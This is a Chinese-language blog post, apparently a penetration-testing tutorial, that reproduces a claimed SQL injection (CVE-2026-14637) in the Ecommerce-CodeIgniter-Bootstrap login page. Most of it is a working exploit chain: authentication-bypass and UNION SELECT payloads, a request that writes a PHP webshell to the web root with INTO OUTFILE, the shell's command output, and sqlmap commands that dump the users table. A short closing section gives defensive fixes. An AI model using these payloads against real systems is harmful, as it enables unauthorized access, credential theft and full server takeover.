CVE-2026-14637 是一个影响 kirilkirkov Ecommerce-CodeIgniter-Bootstrap 项目的 SQL 注入漏洞,CVSS 评分 8.2,攻击者无需认证即可通过精心构造的请求实现远程代码执行。这玩意儿在野已经有人开始扫了,今天带兄弟们手把手复现一波。

漏洞背景
受影响软件:kirilkirkov Ecommerce-CodeIgniter-Bootstrap(版本 ≤ 13fd… 提交哈希)
CVE 编号:CVE-2026-14637
CVSS 评分:8.2(High)
漏洞类型:SQL 注入 → 远程代码执行
危害描述:该漏洞存在于登录接口的参数过滤缺陷中,攻击者可以通过注入恶意 SQL 语句绕过认证,进一步结合 MySQL 的 INTO OUTFILE 或 SELECT ... INTO DUMPFILE 写入 webshell,从而完全控制服务器。
这个项目是一个基于 CodeIgniter 3 框架的电商系统,很多小公司和外包项目都在用。漏洞出在 application/controllers/Auth.php 中的 login() 方法,对 username 和 password 参数完全没有做过滤,直接拼接进了 SQL 查询。
环境搭建
来吧,上 Docker 一把梭:
# 拉取项目源码
git clone https://github.com/kirilkirkov/Ecommerce-CodeIgniter-Bootstrap.git
cd Ecommerce-CodeIgniter-Bootstrap
# 用 Docker 快速部署(需要 docker-compose)
docker-compose up -d
访问 http://localhost:8080,看到登录页面就对了。默认数据库配置在 application/config/database.php,兄弟们可以自己改一下 MySQL 连接信息。
复现步骤
1. 探测注入点
打开 Burp Suite,抓登录包。在 username 字段后面加个单引号:
POST /index.php/auth/login HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
username=admin'&password=test123
如果返回 500 错误或者 SQL 语法错误信息,说明存在注入。CodeIgniter 默认开启了 display_errors,所以错误信息会直接回显。
2. 闭合判断
这玩意儿用的是 MySQL,查询语句大概长这样:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
用万能密码测试一下:
username=admin' OR '1'='1' -- -
password=anything
如果成功登录,说明注入点确认。-- - 是 MySQL 的注释符,把后面的 password 条件给吃了。
3. 联合查询注入
接下来用 UNION SELECT 获取数据库信息。先判断字段数:
username=admin' ORDER BY 1-- -
username=admin' ORDER BY 2-- -
...
一直试到报错为止。这个表有 5 个字段,所以:
username=admin' UNION SELECT 1,2,3,4,5-- -
页面会显示 2 和 3 的位置,说明这两个字段有回显。
4. 获取数据库信息
username=admin' UNION SELECT 1,database(),user(),4,5-- -
返回 ecommerce_db 和 root@localhost。好家伙,root 权限,那就可以直接写 shell 了。
5. 写入 Webshell(RCE)
MySQL root 权限下,用 INTO OUTFILE 写 shell:
username=admin' UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- -
注意路径要写对。Docker 环境里,CodeIgniter 的根目录是 /var/www/html/。
访问 http://localhost:8080/shell.php?cmd=id,返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功 getshell!
6. 自动化利用(sqlmap)
手工搞完,再用 sqlmap 扫一下确认:
sqlmap -u "http://localhost:8080/index.php/auth/login" --data="username=admin&password=test" --level=3 --risk=2 --dbs
sqlmap 会检测到 username 参数存在 time-based blind 注入,直接 dump 数据:
sqlmap -u "http://localhost:8080/index.php/auth/login" --data="username=admin&password=test" --dump -T users
防御措施
- 使用参数化查询:CodeIgniter 的 Query Builder 自带防注入,别偷懒用
$this->db->query("SELECT * FROM users WHERE username = '$username'")这种写法。改成:
$this->db->where('username', $username);
$this->db->where('password', $password);
$query = $this->db->get('users');
-
关闭错误回显:生产环境把
display_errors设为 false,别让攻击者看到 SQL 错误信息。 -
最小权限原则:数据库连接不要用 root,建个专用用户,只给
SELECT, INSERT, UPDATE, DELETE权限,别给FILE权限。 -
WAF 规则:在 Nginx 层加规则拦截
INTO OUTFILE、UNION SELECT等关键词。 -
更新版本:关注 kirilkirkov 的 GitHub 仓库,及时拉取最新 commit。
总结
CVE-2026-14637 就是一个典型的 CodeIgniter 框架 SQL 注入漏洞,因为开发者图省事直接拼接 SQL 语句导致的。从注入探测到 getshell,全程不到 5 分钟,root 权限写 shell 更是直接起飞。兄弟们搞渗透测试的时候,看到 CodeIgniter 项目先测登录接口,十有八九能捡到洞。修复方案也简单,用框架自带的 Query Builder 就完事了,别自己手写 SQL。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
